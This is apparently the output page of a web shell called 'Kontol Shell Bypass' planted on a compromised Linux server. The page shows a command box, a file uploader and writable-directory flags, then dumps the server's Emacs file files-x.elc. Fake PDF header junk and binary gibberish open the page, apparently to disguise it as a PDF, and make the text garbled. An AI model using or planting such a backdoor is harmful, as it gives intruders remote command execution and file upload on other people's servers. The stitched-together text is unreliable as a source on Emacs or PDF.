%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :
ikan Uploader :
Directory :  /usr/share/emacs/25.2/lisp/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/emacs/25.2/lisp/files-x.elc
;ELC
;;; Compiled
;;; in Emacs version 25.2.1
;;; with all optimizations.

;;; This file uses dynamic docstrings, first added in Emacs 19.29.

;;; This file does not contain utf-8 non-ASCII characters,
;;; and so can be loaded in Emacs versions earlier than 23.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;


#@216 Read file-local variable using PROMPT and completion.
Intended to be used in the `interactive' spec of
`add-file-local-variable', `delete-file-local-variable',
`add-dir-local-variable', `delete-dir-local-variable'.
(defalias 'read-file-local-variable #[(prompt) "\304 \2119\205\305!\205\306!\307\203\310\311	#\202#\310\312	\"\n\313\314\211\211\314&\211;\2055\315!+\207" [default prompt obarray variable variable-at-point boundp symbol-name completing-read format "%s (default %s): " "%s: " #[(sym) "\301!\206\302N\206\303>\207" [sym custom-variable-p safe-local-variable (mode eval coding unibyte)] 2] nil intern] 10 (#$ . 411)])
#@158 Read value of file-local VARIABLE using completion.
Intended to be used in the `interactive' spec of
`add-file-local-variable' and `add-dir-local-variable'.
(defalias 'read-file-local-variable-value #[(variable) "\306=\2038	9\205\307	!\310\n\203\311\312\n#\202 \311\313\"\314\315\211\211\n\315&\211;\2056\316\317\320\321\f#!*\207\322=\203E\323\311\324\"!\207\325=\203i
9\205S\307
!\326\n\203a\311\312\n#\202e\311\313\"\n\")\207\311\327\330=\203u\331\202}\332!\205}J\"\331\333\311\313\"\315\331\334\n&*\207" [variable major-mode default obarray value buffer-file-coding-system mode symbol-name completing-read format "Add %s with value (default %s): " "Add %s with value: " #[(sym) "\302\303!\304\305\306#)\207" [sym inhibit-changing-match-data "-mode\\'" symbol-name nil t string-match] 7] nil intern replace-regexp-in-string "-mode\\'" "" eval read--expression "Add %s with expression: " coding read-coding-system "%S" unibyte t boundp read-from-minibuffer set-variable-value-history minibuffer-completing-symbol read-expression-map] 10 (#$ . 1073)])
#@169 Read per-directory file-local variable's mode using completion.
Intended to be used in the `interactive' spec of
`add-dir-local-variable', `delete-dir-local-variable'.
(defalias 'read-file-local-variable-mode #[nil "9\205\304!\305	\203\306\307	\"\202\306\310!\n\311\312\211\211	\312&\211\313\232\203,\312\202@;\203?\314\315!!\203?\315!\202@*\207" [major-mode default obarray mode symbol-name completing-read format "Mode or subdirectory (default %s): " "Mode or subdirectory: " #[(sym) "\303\304!\305\306\307#)\266\203\205(\n>\206'\310\304!\305\306\307#)\266\203?\207" [sym inhibit-changing-match-data minor-mode-list "-mode\\'" symbol-name nil t string-match "-minor-mode\\'"] 7] nil "nil" fboundp intern] 10 (#$ . 2175)])
(defalias 'modify-file-local-variable-message #[(variable value op) "\306\307!	\310=\203\n\202)	\311=\203\202)	9\203(\312	!\203(	J\202)
\313=\203]	\310=\203<\314\302!\202\215	\311=\203H\314\303!\202\215	9\203Y\315	!\203Y\314	!\202\215\202\215	\310=\203\213\316\317\"\320\321\322\323#)\266\203\203\201\202\207\324\325P!)\202\215\f=\204\244=\204\244\f\232?\205\252\326\327\330\331!\"+\207" [not-value variable major-mode buffer-file-coding-system old-value op make-symbol "" mode coding boundp delete default-value default-boundp format "%S" "-mode\\'" nil t string-match intern "-mode" message "%s" substitute-command-keys "For this change to take effect revisit file using \\[revert-buffer]" value string inhibit-changing-match-data new-value] 7])
#@593 Modify file-local VARIABLE in Local Variables depending on operation OP.

If OP is `add-or-replace' then delete all existing settings of
VARIABLE (except `mode' and `eval') and add a new file-local VARIABLE
with VALUE to the Local Variables list.

If there is no Local Variables list in the current file buffer and OP
is not `delete' then this function adds the first line containing the
string `Local Variables:' and the last line containing the string `End:'.

If OP is `delete' then delete all existing settings of VARIABLE
from the Local Variables list ignoring the input argument VALUE.
(defalias 'modify-file-local-variable #[(variable value op &optional interactive) "\3062*`\307\211\204\310\306\311\312!\"\210~\210db\210\313\314d\315Ze]\316#\210\317\320\321\307\317#)\204m
\322=\203?\310\306\nb\210\311\323!\"\210db\210\324-\206I\325-.\326`\211\327c\210`\"\210*\317\nb\210\320\321\307\317#)\204m\310\306\311\330!\"\210\331 \332\224{/`\333 {0\334\335/!P1\3350!\336P2\337y\210`\212\317\3401\3412Q\307\317#)\204\253\212\342\343/0#c\210)\344 \210\345 )
\346\235\203\352
\347=\203\3133\350>\203\313	b\210\202\352\nb\210\340\342\351132$	\317#\203\352\332\224\332\225T|\210`\202\316
\347=\2033\352=\203\375\nb\210\202\204	b\210\202\203b\210\342\353/340%c\210,5\205(\35434
#+0\207" [replaced-pos end beg enable-local-variables case-fold-search op exit nil throw message "File-local variables are disabled" search-backward "\n\f" 3000 move t search-forward "Local Variables:" delete "Local Variables not found" plain ";; " comment-region "\nLocal Variables:\nEnd:\n" "Can't add file-local variables" line-beginning-position 0 line-end-position "^" regexp-quote "$" 1 re-search-forward "[ 	]*End:[ 	]*" format "%sEnd:%s\n" beginning-of-line point-marker (add-or-replace delete) add-or-replace (mode eval) "%s%S:.*%s" mode "%s%S: %S%s\n" modify-file-local-variable-message comment-start comment-style prefix suffix prefix-re suffix-re variable value interactive] 6 (#$ . 3742)])
#@419 Add file-local VARIABLE with its VALUE to the Local Variables list.

This command deletes all existing settings of VARIABLE (except `mode'
and `eval') and adds a new file-local VARIABLE with VALUE to the
Local Variables list.

If there is no Local Variables list in the current file buffer
then this function adds the first line containing the string
`Local Variables:' and the last line containing the string `End:'.
(defalias 'add-file-local-variable #[(variable value &optional interactive) "\303\232\203\304\305\"\210\306	\307\n$\207" [variable value interactive lexical-binding user-error "The `%s' variable must be set at the start of the file" modify-file-local-variable add-or-replace] 5 (#$ . 5790) (let ((variable (read-file-local-variable "Add file-local variable"))) (if (equal variable 'lexical-binding) (user-error "The `%s' variable must be set at the start of the file" variable)) (list variable (read-file-local-variable-value variable) t))])
#@75 Delete all settings of file-local VARIABLE from the Local Variables list.
(defalias 'delete-file-local-variable #[(variable &optional interactive) "\302\303\304	$\207" [variable interactive modify-file-local-variable nil delete] 5 (#$ . 6761) (list (read-file-local-variable "Delete file-local variable") t)])
#@481 Modify file-local VARIABLE in the -*- line depending on operation OP.

If OP is `add-or-replace' then delete all existing settings of
VARIABLE (except `mode' and `eval') and add a new file-local VARIABLE
with VALUE to the -*- line.

If there is no -*- line at the beginning of the current file buffer
and OP is not `delete' then this function adds the -*- line.

If OP is `delete' then delete all existing settings of VARIABLE
from the -*- line ignoring the input argument VALUE.
(defalias 'modify-file-local-variable-prop-line #[(variable value op &optional interactive) "\3062\301`\307\211\204\310\306\311\312!\"\210~\210eb\210\313 \211\203+\314 \315	!\202\262\f\316=\203;\310\306\nb\210\311\317!\"\210eb\210\320
!\204J\320\321!\203M\322y\210\3235\206T\324\325 \3076758\326 \210\212\3209!\205\211\327\225b\205\211\330:!\205\211\327\224b\205\2117\325 \232\205\211`\2116)\203\2406b\210\331c\210\314 \314 \332c\210\202\261\333`\332c\210\314 \314 \334c\210`\"\210,\320\335!\203\366;\336=\203\337\f\337\235\203\313\322\224\322\225|\210\f\340=\203\263\322\224b\210\341\342<\"c\210\202\263\343\224b\210\341\344;<#c\210\322\224b\210\345c\210\202\263\f\346\235\203T\f\340=\203;\347>\203	b\210\202T\nb\210`	W\203T\320\350!\204%\310\306\311\351!\"\210\327\225b\210\352\353\322!!=\214`	}\210\307>\354p!\210*\355\307w\210=;=\203P\327\224`|\210`)\202\f\340=\203\263;\336=\203g\nb\210\202x\204q	b\210\202x\203xb\210`Sf\356=\204\225`\357\n!\232\204\225\357\n!\357	!V\204\225\360c\210`Sf\361=\204\240\362c\210\341\363;<#c\210\307f\361=\204\263\362c\210?\205\277\364;<\f#+0\207" [replaced-pos end beg enable-local-variables op file-auto-mode-skip exit nil throw message "File-local variables are disabled" set-auto-mode-1 point-marker copy-marker delete "The -*- line not found" looking-at "<\\?xml[^>\n]*>$" 1 plain ";;; " line-beginning-position comment-normalize-vars 0 re-search-forward "  -*-" "-*-" comment-region "-*-\n" "[ 	]*\\([^ 	\n
:;]+\\)\\([ 	]*-\\*-\\)" mode (add-or-replace delete) add-or-replace format "%S" 2 "; %S: %S; " " mode: " (add-or-replace delete) (mode eval) "[ 	]*\\([^ 	\n:]+\\)[ 	]*:[ 	]*" "Malformed -*- line" intern match-string read " 	;" 59 marker-position ";" 32 " " "%S: %S;" modify-file-local-variable-message comment-start ce line-beg comment-style comment-start-skip comment-end-skip variable value key read-circle interactive] 5 (#$ . 7079)])
#@300 Add file-local VARIABLE with its VALUE to the -*- line.

This command deletes all existing settings of VARIABLE (except `mode'
and `eval') and adds a new file-local VARIABLE with VALUE to
the -*- line.

If there is no -*- line at the beginning of the current file buffer
then this function adds it.
(defalias 'add-file-local-variable-prop-line #[(variable value &optional interactive) "\303	\304\n$\207" [variable value interactive modify-file-local-variable-prop-line add-or-replace] 5 (#$ . 9538) (let ((variable (read-file-local-variable "Add -*- file-local variable"))) (list variable (read-file-local-variable-value variable) t))])
#@63 Delete all settings of file-local VARIABLE from the -*- line.
(defalias 'delete-file-local-variable-prop-line #[(variable &optional interactive) "\302\303\304	$\207" [variable interactive modify-file-local-variable-prop-line nil delete] 5 (#$ . 10182) (list (read-file-local-variable "Delete -*- file-local variable") t)])
#@531 Modify directory-local VARIABLE in .dir-locals.el depending on operation OP.

If OP is `add-or-replace' then delete all existing settings of
VARIABLE (except `mode' and `eval') and add a new directory-local VARIABLE
with VALUE to the MODE alist where MODE can be a mode name symbol or
a subdirectory name.

If .dir-locals.el was not found and OP is not `delete' then create
this file in the current directory.

If OP is `delete' then delete all existing settings of VARIABLE
from the MODE alist ignoring the input argument VALUE.
(defalias 'modify-dir-local-variable #[(mode variable value op) "\3062\345\204\307\306\310\311!\"\210\312 \203\"\313\312 !\204\"\314\312 !\206#	\315\211:\203=\3168\2039\317	@\"\202<A@\203M;\204M\307\306\310\320!\"\210\f\321=\203d\203]\322!\204d\307\306\310\323!\"\210\315\324!\210)~\210eb\210\3251\203`\315\326p!)`|0\202\207\210\202\210\210\327 \n\"\211!\203\312 \f\321=\203\245\330\"!A\"\202\277\"#B\"\331>\203\267!A\202\276\330\"!A\"BB\330 \n\"B\202\325 \"#BD\nB)\332c\210\333c\210\334\335\n\336\"p\"*0\207" [enable-local-variables dir-locals-file variables variables-file op auto-insert exit throw message "Directory-local variables are disabled" buffer-file-name file-remote-p dir-locals-find-file nil 2 expand-file-name "Directory locals were not set from a file" delete file-exists-p "No .dir-locals.el file was found" find-file (error) read assoc assq-delete-all (mode eval) ";;; Directory Local Variables\n" ";;; For more information see (info \"(emacs) Directory Variables\")\n\n" pp sort #[(a b) "@\204\302\207	@\204\303\207@9\203	@;\203\302\207	@9\203*@;\203*\303\207@	@\231\207" [a b t nil] 2] read-circle mode mode-assoc variable value] 6 (#$ . 10513)])
#@73 Add directory-local VARIABLE with its VALUE and MODE to .dir-locals.el.
(defalias 'add-dir-local-variable #[(mode variable value) "\303	\n\304$\207" [mode variable value modify-dir-local-variable add-or-replace] 5 (#$ . 12286) (let (variable) (list (read-file-local-variable-mode) (setq variable (read-file-local-variable "Add directory-local variable")) (read-file-local-variable-value variable)))])
#@70 Delete all MODE settings of file-local VARIABLE from .dir-locals.el.
(defalias 'delete-dir-local-variable #[(mode variable) "\302	\303\304$\207" [mode variable modify-dir-local-variable nil delete] 5 (#$ . 12694) (list (read-file-local-variable-mode) (read-file-local-variable "Delete directory-local variable"))])
#@46 Copy file-local variables to .dir-locals.el.
(defalias 'copy-file-locals-to-dir-locals #[nil "\305\211\205\"\n@\211@\236\204\306\f	@	A#\210\nA\211\204\305*\207" [file-local-variables-alist elt --dolist-tail-- dir-local-variables-alist major-mode nil add-dir-local-variable] 5 (#$ . 13016) nil])
#@61 Copy directory-local variables to the Local Variables list.
(defalias 'copy-dir-locals-to-file-locals #[nil "\303\211\205\n@\304	@	A\"\210\nA\211\204\303*\207" [dir-local-variables-alist elt --dolist-tail-- nil add-file-local-variable] 4 (#$ . 13328) nil])
#@49 Copy directory-local variables to the -*- line.
(defalias 'copy-dir-locals-to-file-locals-prop-line #[nil "\303\211\205\n@\304	@	A\"\210\nA\211\204\303*\207" [dir-local-variables-alist elt --dolist-tail-- nil add-file-local-variable-prop-line] 4 (#$ . 13600) nil])
(provide 'files-x)

Kontol Shell Bypass